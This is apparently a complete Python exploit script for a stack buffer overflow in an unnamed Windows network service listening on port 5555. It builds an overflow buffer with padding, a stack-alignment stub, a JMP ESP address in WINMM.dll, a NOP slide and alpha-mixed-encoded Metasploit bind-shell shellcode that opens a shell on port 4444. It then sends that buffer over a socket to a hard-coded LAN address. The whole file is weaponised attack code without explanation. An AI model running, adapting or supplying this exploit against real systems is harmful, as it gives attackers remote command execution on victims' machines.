#!/usr/bin/python
import socket

#76B43ADC FFE4 JMP ESP - WINMM.dll
jmp_esp = "\xDC\x3A\xB4\x76"

# Stack Jump takes us back approx. 1000 bytes into our A's
stack_jmp = ("\x89\xe6\xd9\xe9\xd9\x76\xf4\x5b\x53\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x68\x59\x5a\x4e\x7a\x79\x50\x74\x65\x74"
"\x6b\x44\x70\x59\x6b\x30\x6a\x61\x75\x5a\x6c\x50\x79\x6e"
"\x68\x4d\x4b\x4e\x68\x4d\x59\x6e\x78\x4d\x59\x6e\x4a\x6d"
"\x6b\x4e\x7a\x6d\x4b\x4f\x48\x61\x41\x41")

# msfpayload windows/shell_bind_tcp LPORT=4444 R |msfencode -e x86/alpha_mixed -b "\x40" -t c
# [*] x86/alpha_mixed succeeded with size 744 (iteration=1)
# unsigned char buf[] =

shell_code=("\x89\xe2\xdb\xcc\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x79\x6c\x79\x78\x4d\x59\x53\x30\x65\x50\x57\x70\x65\x30\x6f"
"\x79\x6a\x45\x45\x61\x68\x52\x73\x54\x4e\x6b\x61\x42\x74\x70"
"\x4c\x4b\x33\x62\x54\x4c\x4c\x4b\x51\x42\x44\x54\x4e\x6b\x42"
"\x52\x45\x78\x54\x4f\x6c\x77\x62\x6a\x31\x36\x56\x51\x39\x6f"
"\x50\x31\x79\x50\x6c\x6c\x47\x4c\x55\x31\x43\x4c\x36\x62\x54"
"\x6c\x47\x50\x7a\x61\x5a\x6f\x46\x6d\x65\x51\x68\x47\x39\x72"
"\x7a\x50\x52\x72\x32\x77\x4c\x4b\x76\x32\x32\x30\x6c\x4b\x77"
"\x32\x35\x6c\x66\x61\x4a\x70\x6e\x6b\x37\x30\x70\x78\x4c\x45"
"\x59\x50\x33\x44\x31\x5a\x63\x31\x68\x50\x32\x70\x6c\x4b\x51"
"\x58\x46\x78\x4c\x4b\x71\x48\x75\x70\x55\x51\x6b\x63\x68\x63"
"\x45\x6c\x31\x59\x4e\x6b\x55\x64\x6c\x4b\x56\x61\x38\x56\x30"
"\x31\x6b\x4f\x55\x61\x49\x50\x4e\x4c\x7a\x61\x78\x4f\x54\x4d"
"\x35\x51\x78\x47\x36\x58\x49\x70\x44\x35\x38\x74\x55\x53\x33"
"\x4d\x39\x68\x55\x6b\x53\x4d\x34\x64\x70\x75\x69\x72\x63\x68"
"\x4c\x4b\x31\x48\x34\x64\x56\x61\x7a\x73\x31\x76\x4c\x4b\x36"
"\x6c\x70\x4b\x4c\x4b\x61\x48\x65\x4c\x33\x31\x59\x43\x6e\x6b"
"\x45\x54\x6e\x6b\x76\x61\x4a\x70\x6c\x49\x77\x34\x36\x44\x65"
"\x74\x73\x6b\x63\x6b\x55\x31\x53\x69\x62\x7a\x30\x51\x49\x6f"
"\x69\x70\x62\x78\x51\x4f\x30\x5a\x6c\x4b\x34\x52\x78\x6b\x6b"
"\x36\x61\x4d\x43\x58\x45\x63\x65\x62\x77\x70\x45\x50\x43\x58"
"\x72\x57\x33\x43\x37\x42\x63\x6f\x53\x64\x63\x58\x62\x6c\x31"
"\x67\x67\x56\x44\x47\x79\x6f\x4b\x65\x6d\x68\x4c\x50\x63\x31"
"\x47\x70\x55\x50\x34\x69\x7a\x64\x53\x64\x70\x50\x72\x48\x35"
"\x79\x4f\x70\x42\x4b\x65\x50\x79\x6f\x68\x55\x62\x70\x30\x50"
"\x32\x70\x76\x30\x51\x50\x46\x30\x73\x70\x46\x30\x50\x68\x59"
"\x7a\x74\x4f\x4b\x6f\x6d\x30\x79\x6f\x7a\x75\x4d\x59\x4b\x77"
"\x46\x51\x79\x4b\x66\x33\x33\x58\x34\x42\x47\x70\x77\x61\x61"
"\x4c\x4e\x69\x39\x76\x53\x5a\x32\x30\x62\x76\x63\x67\x45\x38"
"\x5a\x62\x59\x4b\x37\x47\x61\x77\x69\x6f\x6e\x35\x70\x53\x50"
"\x57\x62\x48\x6d\x67\x69\x79\x66\x58\x79\x6f\x4b\x4f\x79\x45"
"\x70\x53\x32\x73\x62\x77\x35\x38\x32\x54\x68\x6c\x75\x6b\x59"
"\x71\x49\x6f\x7a\x75\x53\x67\x6d\x59\x38\x47\x45\x38\x53\x45"
"\x70\x6e\x30\x4d\x43\x51\x6b\x4f\x48\x55\x30\x68\x72\x43\x72"
"\x4d\x50\x64\x53\x30\x4e\x69\x48\x63\x73\x67\x76\x37\x52\x77"
"\x74\x71\x5a\x56\x32\x4a\x77\x62\x73\x69\x71\x46\x38\x62\x4b"
"\x4d\x35\x36\x7a\x67\x63\x74\x37\x54\x57\x4c\x65\x51\x45\x51"
"\x4c\x4d\x53\x74\x66\x44\x44\x50\x6f\x36\x77\x70\x50\x44\x33"
"\x64\x52\x70\x62\x76\x52\x76\x31\x46\x71\x56\x73\x66\x32\x6e"
"\x66\x36\x63\x66\x43\x63\x71\x46\x70\x68\x70\x79\x38\x4c\x47"
"\x4f\x4f\x76\x59\x6f\x5a\x75\x4d\x59\x79\x70\x32\x6e\x61\x46"
"\x72\x66\x59\x6f\x70\x30\x42\x48\x34\x48\x6b\x37\x45\x4d\x75"
"\x30\x69\x6f\x59\x45\x4d\x6b\x38\x70\x48\x35\x4d\x72\x52\x76"
"\x63\x58\x6d\x76\x5a\x35\x6d\x6d\x4f\x6d\x6b\x4f\x39\x45\x45"
"\x6c\x44\x46\x31\x6c\x54\x4a\x6f\x70\x39\x6b\x6b\x50\x53\x45"
"\x44\x45\x4f\x4b\x31\x57\x66\x73\x64\x32\x50\x6f\x63\x5a\x37"
"\x70\x76\x33\x4b\x4f\x4b\x65\x41\x41")

# Align our stack ;add esp, -1500
stack_align =  "\x81\xc4\x24\xfa\xff\xff"

# Nop Slide
nops = "\x90" * 100

buffer = "A" * (2042 - len(shell_code))
buffer += stack_align
buffer += shell_code
buffer += jmp_esp
buffer += nops
buffer += stack_jmp
buffer += "\x43" * (2500 - len(buffer))
command = "@F000"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(("192.168.1.124",5555))
s.send(command+buffer+"@\r\n_dark_knight_\r\n\r\n")
s.close()